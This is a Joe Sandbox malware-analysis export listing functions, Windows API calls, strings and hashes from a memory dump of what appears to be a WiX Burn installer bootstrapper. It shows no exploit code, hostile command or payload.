Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: InitializeUninitialize
String ID: <the>.cab$Failed to extract all files from container, erf: %d:%X:%d$Failed to initialize COM.$Failed to initialize cabinet.dll.$Failed to reset begin operation event.$Failed to set operation complete event.$Failed to wait for begin operation event.$Invalid operation for this state.$cabextract.cpp
API String ID: 3442037557-1168358783
Opcode ID: bb4ea86859554b82c9abd17b60a5f7abf0ea643a1ec8661f7ee3086e47cde909
Instruction ID: 6c63066f85c854b7c20a2b10a2508ac46d83c1006a0e5fcdaa1b16d5e646d218
Opcode Fuzzy Hash: bb4ea86859554b82c9abd17b60a5f7abf0ea643a1ec8661f7ee3086e47cde909
Instruction Fuzzy Hash: E4516B37971272F79F206A949C49F6B3614AB02732F224366FD01FB291D6748C3886DD

Function 002342D7 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 158
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(00000000,?,00000000,00000000,?,?,00235266,?,?,00000000,?,?), ref: 00234303
InitializeCriticalSection.KERNEL32(000000D0,?,?,00235266,?,?,00000000,?,?), ref: 0023430C
lstrlenW.KERNEL32(burn.filehandle.attached,000004B8,000004A0,?,?,00235266,?,?,00000000,?,?), ref: 00234352
lstrlenW.KERNEL32(burn.filehandle.attached,burn.filehandle.attached,00000000,?,?,00235266,?,?,00000000,?,?), ref: 0023435C
CompareStringW.KERNEL32(0000007F,00000001,?,00000000,?,?,00235266,?,?,00000000,?,?), ref: 00234370
lstrlenW.KERNEL32(burn.filehandle.attached,?,?,00235266,?,?,00000000,?,?), ref: 00234380
lstrlenW.KERNEL32(burn.filehandle.self,?,?,00235266,?,?,00000000,?,?), ref: 002343D0
lstrlenW.KERNEL32(burn.filehandle.self,burn.filehandle.self,00000000,?,?,00235266,?,?,00000000,?,?), ref: 002343DA
CompareStringW.KERNEL32(0000007F,00000001,?,00000000,?,?,00235266,?,?,00000000,?,?), ref: 002343EE
lstrlenW.KERNEL32(burn.filehandle.self,?,?,00235266,?,?,00000000,?,?), ref: 002343FE

Strings

Failed to initialize engine section., xrefs: 00234467
Failed to parse file handle: '%ls', xrefs: 00234482
burn.filehandle.attached, xrefs: 0023434D, 00234355, 0023435A, 0023435B, 0023437B, 0023449F
engine.cpp, xrefs: 00234495, 002344C1
burn.filehandle.self, xrefs: 002343CB, 002343D3, 002343D8, 002343D9, 002343F9, 002344CB
Missing required parameter for switch: %ls, xrefs: 002344A4

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: lstrlen$CompareCriticalInitializeSectionString
String ID: Failed to initialize engine section.$Failed to parse file handle: '%ls'$Missing required parameter for switch: %ls$burn.filehandle.attached$burn.filehandle.self$engine.cpp
API String ID: 3039292287-3209860532
Opcode ID: 5831878788b844bbac67cabee041b9aad57e3ea2948640006a88f7b8fe51c6e9
Instruction ID: 4fb724dc00cdafff53f8260744dc11f651b78cc8a469cb61aa6987db202d58aa
Opcode Fuzzy Hash: 5831878788b844bbac67cabee041b9aad57e3ea2948640006a88f7b8fe51c6e9
Instruction Fuzzy Hash: F951D4B1A20216BECB21EF64DC86F5A7768FF05720F104165F718E7290D770B960CAA4

Function 0024E7B4 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 137
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsSetValue.KERNEL32(?,?), ref: 0024E7FF
RegisterClassW.USER32 ref: 0024E82B
GetLastError.KERNEL32 ref: 0024E836
CreateWindowExW.USER32 ref: 0024E89D
GetLastError.KERNEL32 ref: 0024E8A7
UnregisterClassW.USER32(WixBurnMessageWindow,?), ref: 0024E945

Strings

WixBurnMessageWindow, xrefs: 0024E824, 0024E940
Failed to register window., xrefs: 0024E864
Unexpected return value from message pump., xrefs: 0024E930
uithread.cpp, xrefs: 0024E85A, 0024E8CB
Failed to create window., xrefs: 0024E8D5

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ClassErrorLast$CreateRegisterUnregisterValueWindow
String ID: Failed to create window.$Failed to register window.$Unexpected return value from message pump.$WixBurnMessageWindow$uithread.cpp
API String ID: 213125376-288575659
Opcode ID: 1fb0f773761455d4a1843a379b64c2886e375e14e7c6e2c6527f5549019e0f24
Instruction ID: dda29f2b55b411893fc2b7c556c67941ef80a0eae64732fe4b9d4a77eb0f60a2
Opcode Fuzzy Hash: 1fb0f773761455d4a1843a379b64c2886e375e14e7c6e2c6527f5549019e0f24
Instruction Fuzzy Hash: AF41A372911225ABEF259FA0DC48BDEBFB8FF09750F154165F908AB190D7709DA08BA0

Function 0023C28F Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 131
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,08000080,00000000,?,00000000,00000000,?,0023C47F,00235405,?,?,00235445), ref: 0023C2D6
GetLastError.KERNEL32(?,0023C47F,00235405,?,?,00235445,00235445,00000000,?,00000000), ref: 0023C2E7
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002,?,00000000,00000000,?,0023C47F,00235405,?,?,00235445,00235445,00000000,?), ref: 0023C336
GetCurrentProcess.KERNEL32(000000FF,00000000,?,0023C47F,00235405,?,?,00235445,00235445,00000000,?,00000000), ref: 0023C33C
DuplicateHandle.KERNELBASE(00000000,?,0023C47F,00235405,?,?,00235445,00235445,00000000,?,00000000), ref: 0023C33F
GetLastError.KERNEL32(?,0023C47F,00235405,?,?,00235445,00235445,00000000,?,00000000), ref: 0023C349
SetFilePointerEx.KERNELBASE(?,00000000,00000000,00000000,00000000,?,0023C47F,00235405,?,?,00235445,00235445,00000000,?,00000000), ref: 0023C39B
GetLastError.KERNEL32(?,0023C47F,00235405,?,?,00235445,00235445,00000000,?,00000000), ref: 0023C3A5

Strings

Failed to duplicate handle to container: %ls, xrefs: 0023C37A
Failed to move file pointer to container offset., xrefs: 0023C3D3
crypt32.dll, xrefs: 0023C397
feclient.dll, xrefs: 0023C398
container.cpp, xrefs: 0023C30B, 0023C36D, 0023C3C9
Failed to open file: %ls, xrefs: 0023C318
Failed to open container., xrefs: 0023C3F1

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CurrentFileProcess$CreateDuplicateHandlePointer
String ID: Failed to duplicate handle to container: %ls$Failed to move file pointer to container offset.$Failed to open container.$Failed to open file: %ls$container.cpp$crypt32.dll$feclient.dll
API String ID: 2619879409-373955632
Opcode ID: cc4dfb46f36cd2ca31bb617b7bb1b6a1d60ae55a6b1c0e1c4099a75abffee3c2
Instruction ID: 5b814984a7f1cb863daa96289af883eb06b2b0370b8461368d9d2128f801d836
Opcode Fuzzy Hash: cc4dfb46f36cd2ca31bb617b7bb1b6a1d60ae55a6b1c0e1c4099a75abffee3c2
Instruction Fuzzy Hash: 4E41C4B6164202ABDB219F299D49F1B7BA5EB85720F318069FD18EB241DB71C821DB60

Function 00272AF7 Relevance: 26.3, APIs: 7, Strings: 8, Instructions: 79
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00233838: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00233877
Part of subcall function 00233838: GetLastError.KERNEL32 ref: 00233881

Part of subcall function 00274A6C: GetLastError.KERNEL32(?,00000000,00000000,00000000,00000000,00000001), ref: 00274A9D

GetProcAddress.KERNEL32(MsiDeterminePatchSequenceW,00000000), ref: 00272B41
GetProcAddress.KERNEL32(MsiDetermineApplicablePatchesW), ref: 00272B61
GetProcAddress.KERNEL32(MsiEnumProductsExW), ref: 00272B81
GetProcAddress.KERNEL32(MsiGetPatchInfoExW), ref: 00272BA1
GetProcAddress.KERNEL32(MsiGetProductInfoExW), ref: 00272BC1
GetProcAddress.KERNEL32(MsiSetExternalUIRecord), ref: 00272BE1
GetProcAddress.KERNEL32(MsiSourceListAddSourceExW), ref: 00272C01

Strings

MsiEnumProductsExW, xrefs: 00272B76
MsiSetExternalUIRecord, xrefs: 00272BD6
MsiGetProductInfoExW, xrefs: 00272BB6
MsiDeterminePatchSequenceW, xrefs: 00272B36
MsiDetermineApplicablePatchesW, xrefs: 00272B56
MsiGetPatchInfoExW, xrefs: 00272B96
Msi.dll, xrefs: 00272B09
MsiSourceListAddSourceExW, xrefs: 00272BF6

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: AddressProc$ErrorLast$DirectorySystem
String ID: Msi.dll$MsiDetermineApplicablePatchesW$MsiDeterminePatchSequenceW$MsiEnumProductsExW$MsiGetPatchInfoExW$MsiGetProductInfoExW$MsiSetExternalUIRecord$MsiSourceListAddSourceExW
API String ID: 2510051996-1735120554
Opcode ID: 4f902210448ed1ec3bb7a5b6172785b40e43d64d929460182a4eca1872e86b1b
Instruction ID: dc142747522afe8867eac19e0b97c82d2c2e99e5418424e514171c5e3eeeb5fa
Opcode Fuzzy Hash: 4f902210448ed1ec3bb7a5b6172785b40e43d64d929460182a4eca1872e86b1b
Instruction Fuzzy Hash: D431E0B1920209EADF039F61FE4EB6A7BACF719B48F00412BE40856560E7B528659F50

Function 0027304F Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 153
libraryloadercomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000000,00000000,00273609,00000000,?,00000000), ref: 00273069
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,0025C025,?,00235405,?,00000000,?), ref: 00273075
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 002730B5
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 002730C1
GetProcAddress.KERNEL32(00000000,Wow64EnableWow64FsRedirection), ref: 002730CC
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 002730D6
CoCreateInstance.OLE32(0029B6B8,00000000,00000001,0027B818,?,?,?,?,?,?,?,?,?,?,?,0025C025), ref: 00273111
ExitProcess.KERNEL32 ref: 002731C0

Strings

xmlutil.cpp, xrefs: 00273099
Wow64RevertWow64FsRedirection, xrefs: 002730CE
IsWow64Process, xrefs: 002730AF
Wow64EnableWow64FsRedirection, xrefs: 002730C3
kernel32.dll, xrefs: 00273059
Wow64DisableWow64FsRedirection, xrefs: 002730BB

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: AddressProc$CreateErrorExitHandleInstanceLastModuleProcess
String ID: IsWow64Process$Wow64DisableWow64FsRedirection$Wow64EnableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$xmlutil.cpp
API String ID: 2124981135-499589564
Opcode ID: c4df5f1a854ead41706adc780e2a8ae17b05399751e50a3e75f7235f93728bc0
Instruction ID: 40e7f190f98b9c0d5181abd303f8517c335686d87a5331a3df1f8d3991c5efac
Opcode Fuzzy Hash: c4df5f1a854ead41706adc780e2a8ae17b05399751e50a3e75f7235f93728bc0
Instruction Fuzzy Hash: 0B41B531A21216ABDF25DFA8C849BAEB7B8EF45710F118168E90DE7240D771DE609B90

Function 0026FCAE Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 76
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNELBASE(SystemFunction040,AdvApi32.dll), ref: 0026FCD6
GetProcAddress.KERNEL32(SystemFunction041), ref: 0026FCE8
GetProcAddress.KERNEL32(CryptProtectMemory,Crypt32.dll), ref: 0026FD2B
GetLastError.KERNEL32(?,?,?,?,?,?), ref: 0026FD3F
GetProcAddress.KERNEL32(CryptUnprotectMemory), ref: 0026FD77
GetLastError.KERNEL32(?,?,?,?,?,?), ref: 0026FD8B

Strings

SystemFunction040, xrefs: 0026FCCB
SystemFunction041, xrefs: 0026FCD8
Crypt32.dll, xrefs: 0026FD0C
cryputil.cpp, xrefs: 0026FD60
CryptUnprotectMemory, xrefs: 0026FD6C
CryptProtectMemory, xrefs: 0026FD20
AdvApi32.dll, xrefs: 0026FCB5
`+?s, xrefs: 0026FCEA, 0026FCF1, 0026FD79

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: AddressProc$ErrorLast
String ID: AdvApi32.dll$Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory$SystemFunction040$SystemFunction041$`+?s$cryputil.cpp
API String ID: 4214558900-776468437
Opcode ID: 77a417c48593e3bf463d1e47393cdd53d86cd0a4c85f5f017394e3cb3ad60839
Instruction ID: 75d827c2a2ab73aebd20cf89d49ef12ac6c1c6f5b604fb62902adaa24ebf87d8
Opcode Fuzzy Hash: 77a417c48593e3bf463d1e47393cdd53d86cd0a4c85f5f017394e3cb3ad60839
Instruction Fuzzy Hash: 3F219276971332ABDF729B65BF0DB166990AB41F90F530136EC04AA160E760ACA0CAD4

Function 00251741 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 106COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,wininet.dll,?,00000000,00000000,00000000,?,?,0023C3EB,?,00000000,?,0023C47F), ref: 00251778
GetLastError.KERNEL32(?,0023C3EB,?,00000000,?,0023C47F,00235405,?,?,00235445,00235445,00000000,?,00000000), ref: 00251781

Strings

Failed to create begin operation event., xrefs: 002517AF
Failed to create extraction thread., xrefs: 00251841
Failed to copy file name., xrefs: 00251763
wininet.dll, xrefs: 00251757
Failed to wait for operation complete., xrefs: 00251854
cabextract.cpp, xrefs: 002517A5, 002517EB, 00251837
Failed to create operation complete event., xrefs: 002517F5

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CreateErrorEventLast
String ID: Failed to copy file name.$Failed to create begin operation event.$Failed to create extraction thread.$Failed to create operation complete event.$Failed to wait for operation complete.$cabextract.cpp$wininet.dll
API String ID: 545576003-938279966
Opcode ID: 130cd60804d1a28c8ffd8bd75d136cae32a8b01d3ee076c10ac319a134d223e5
Instruction ID: 7e9f632817bbf723008fe6116348fc526ce086b27f3fd50d09ae814654c036f3
Opcode Fuzzy Hash: 130cd60804d1a28c8ffd8bd75d136cae32a8b01d3ee076c10ac319a134d223e5
Instruction Fuzzy Hash: 40210A77D7163776F33126A95C4AF17A55CEB05761B020222FD14BB181EB70DC3486E5

Function 002508C2 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CompareStringA.KERNELBASE(00000000,00000000,<the>.cab,?,?), ref: 002508F2
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,?), ref: 0025090A
GetCurrentProcess.KERNEL32(?,00000000,?,?), ref: 0025090F
DuplicateHandle.KERNELBASE(00000000,?,?), ref: 00250912
GetLastError.KERNEL32(?,?), ref: 0025091C
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,08000080,00000000,?,?), ref: 0025098B
GetLastError.KERNEL32(?,?), ref: 00250998

Strings

Failed to open cabinet file: %hs, xrefs: 002509C9
Failed to duplicate handle to cab container., xrefs: 0025094A
Failed to add virtual file pointer for cab container., xrefs: 00250971
cabextract.cpp, xrefs: 00250940, 002509BC
<the>.cab, xrefs: 002508EB

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CurrentErrorLastProcess$CompareCreateDuplicateFileHandleString
String ID: <the>.cab$Failed to add virtual file pointer for cab container.$Failed to duplicate handle to cab container.$Failed to open cabinet file: %hs$cabextract.cpp
API String ID: 3030546534-3446344238
Opcode ID: c21034ee7c2331b519b4413677075ba1b3e1e08bfd6e2c86d45ec5e3a2c09ddd
Instruction ID: e24b5c47da52b8b93f1df7e1562a60380775d723e0eae4f38aa38472c7df6015
Opcode Fuzzy Hash: c21034ee7c2331b519b4413677075ba1b3e1e08bfd6e2c86d45ec5e3a2c09ddd
Instruction Fuzzy Hash: 7F310636962236BBEB215B559C89F9EBA68EF05B61F114112FD08B7181D730AD20CBE4

Function 00243F9B Relevance: 19.7, APIs: 1, Strings: 12, Instructions: 220sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00243AA6: RegCloseKey.ADVAPI32(00000000), ref: 00243B42

Sleep.KERNEL32(000007D0,00000001,feclient.dll,?,00000000,?,?,?,00234B12,?,?,0027B488,?,00000001,00000000,00000000), ref: 0024404C

Strings

crypt32.dll, xrefs: 00243FF2, 00244057, 0024405F, 002440C6, 00244100, 00244141, 00244160, 0024419E, 002441C8
Setup, xrefs: 00243FF9
feclient.dll, xrefs: 00243FAF, 0024405C
Failed to copy full log path to prefix., xrefs: 002441AF
log, xrefs: 00243FF3
Failed to copy log path to prefix., xrefs: 0024416E
Failed to get non-session specific TEMP folder., xrefs: 002440F6
Failed to get current directory., xrefs: 0024402E
clbcatq.dll, xrefs: 00244185
Failed to open log: %ls, xrefs: 002440C8
Failed to copy log extension to extension., xrefs: 00244191
msasn1.dll, xrefs: 00244162, 002441A3

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CloseSleep
String ID: Failed to copy full log path to prefix.$Failed to copy log extension to extension.$Failed to copy log path to prefix.$Failed to get current directory.$Failed to get non-session specific TEMP folder.$Failed to open log: %ls$Setup$clbcatq.dll$crypt32.dll$feclient.dll$log$msasn1.dll
API String ID: 2834455192-2673269691
Opcode ID: 01418822028f0f48924b4d461857a3190caf3a952c47571fb5d45ab29da01350
Instruction ID: aa96ed385f2efcdc14c8b20d5913de2899c88d08a32f898aa7db41847d3dae5d
Opcode Fuzzy Hash: 01418822028f0f48924b4d461857a3190caf3a952c47571fb5d45ab29da01350
Instruction Fuzzy Hash: FE61A2B1A30616AAEB1DFF64CC42B6677A8EF11740F054155FD09EB181EBB0EDB08B90

Function 00236DB9 Relevance: 19.7, APIs: 2, Strings: 11, Instructions: 166COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000001,?,00000000,00235445,00000006,?,002382B9,?,?,?,00000000,00000000,00000001), ref: 00236DC8

Part of subcall function 002356A9: CompareStringW.KERNEL32(0000007F,00001000,?,000000FF,version.dll,000000FF,?,?,00000000,00236595,00236595,?,0023563D,?,?,00000000), ref: 002356E5
Part of subcall function 002356A9: GetLastError.KERNEL32(?,0023563D,?,?,00000000,?,?,00236595,?,00237F02,?,?,?,?,?), ref: 00235714

LeaveCriticalSection.KERNEL32(00000001,?,00000000,00000001,00000000,00000000,?,002382B9), ref: 00236F59

Strings

Attempt to set built-in variable value: %ls, xrefs: 00236E56
Unsetting variable '%ls', xrefs: 00236F15
Failed to set value of variable: %ls, xrefs: 00236F41
Setting string variable '%ls' to value '%ls', xrefs: 00236EED
Failed to insert variable '%ls'., xrefs: 00236E0D
Setting variable failed: ID '%ls', HRESULT 0x%x, xrefs: 00236F6B
Setting hidden variable '%ls', xrefs: 00236E86
Failed to find variable value '%ls'., xrefs: 00236DE3
Setting numeric variable '%ls' to value %lld, xrefs: 00236EFA
variable.cpp, xrefs: 00236E4B
Setting version variable '%ls' to value '%hu.%hu.%hu.%hu', xrefs: 00236ED0

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$CompareEnterErrorLastLeaveString
String ID: Attempt to set built-in variable value: %ls$Failed to find variable value '%ls'.$Failed to insert variable '%ls'.$Failed to set value of variable: %ls$Setting hidden variable '%ls'$Setting numeric variable '%ls' to value %lld$Setting string variable '%ls' to value '%ls'$Setting variable failed: ID '%ls', HRESULT 0x%x$Setting version variable '%ls' to value '%hu.%hu.%hu.%hu'$Unsetting variable '%ls'$variable.cpp
API String ID: 2716280545-445000439
Opcode ID: 0dec1988470f556bc714d003ea58b7899ef00354a76e7efa47528d94096a1631
Instruction ID: 3701c51b9c332583e2f78cb258733af83702ee3a6ce791c616cd78ae6582d13c
Opcode Fuzzy Hash: 0dec1988470f556bc714d003ea58b7899ef00354a76e7efa47528d94096a1631
Instruction Fuzzy Hash: 1751E3B1A20226B7DB349E15DC4EF6B7BACEB56711F20C119F80956282C3B1D871CAE1

Function 00234AE5 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 144windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00234C64
PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00234C75

Strings

Failed to check global conditions, xrefs: 00234B49
Failed to set layout directory variable to value provided from command-line., xrefs: 00234C06
Failed to query registration., xrefs: 00234BAE
Failed to set action variables., xrefs: 00234BC4
Failed while running , xrefs: 00234C2A
WixBundleLayoutDirectory, xrefs: 00234BF5
Failed to set registration variables., xrefs: 00234BDE
Failed to open log., xrefs: 00234B18
Failed to create the message window., xrefs: 00234B98

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: MessagePostWindow
String ID: Failed to check global conditions$Failed to create the message window.$Failed to open log.$Failed to query registration.$Failed to set action variables.$Failed to set layout directory variable to value provided from command-line.$Failed to set registration variables.$Failed while running $WixBundleLayoutDirectory
API String ID: 3618638489-3051724725
Opcode ID: 3952125f2af3db68bed23ca2fe0ee1582c0cad4c19de1b850174c800bc09e941
Instruction ID: 1c3a93801328d7db4408503b6a81be3bc8e9d80965731973ce2258a5a6bdaa5d
Opcode Fuzzy Hash: 3952125f2af3db68bed23ca2fe0ee1582c0cad4c19de1b850174c800bc09e941
Instruction Fuzzy Hash: 1341E5B1A3162BBBDB2B7A20CC45FAAB66CFF01754F005696B80496150DBB0FC709AD0

Function 00231070 Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 78fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002333C7: GetModuleFileNameW.KERNEL32(?,?,00000104,?,00000104,?,?,?,?,002310DD,?,00000000), ref: 002333E8

CreateFileW.KERNELBASE(?,80000000,00000005,00000000,00000003,00000080,00000000,?,00000000), ref: 002310F6

Part of subcall function 00231175: HeapSetInformation.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,?,?,0023111A,cabinet.dll,00000009,?,?,00000000), ref: 00231186
Part of subcall function 00231175: GetModuleHandleW.KERNEL32(kernel32,?,?,?,?,?,0023111A,cabinet.dll,00000009,?,?,00000000), ref: 00231191
Part of subcall function 00231175: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 0023119F
Part of subcall function 00231175: GetLastError.KERNEL32(?,?,?,?,?,0023111A,cabinet.dll,00000009,?,?,00000000), ref: 002311BA
Part of subcall function 00231175: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 002311C2
Part of subcall function 00231175: GetLastError.KERNEL32(?,?,?,?,?,0023111A,cabinet.dll,00000009,?,?,00000000), ref: 002311D7

CloseHandle.KERNEL32(?,?,?,?,0027B4D0,?,cabinet.dll,00000009,?,?,00000000), ref: 00231131

Strings

crypt32.dll, xrefs: 002310CA
feclient.dll, xrefs: 002310D1
wininet.dll, xrefs: 002310AE
version.dll, xrefs: 002310A7
cabinet.dll, xrefs: 00231099, 00231114
clbcatq.dll, xrefs: 002310BC
msi.dll, xrefs: 002310A0
comres.dll, xrefs: 002310B5
msasn1.dll, xrefs: 002310C3

Memory Dump Source

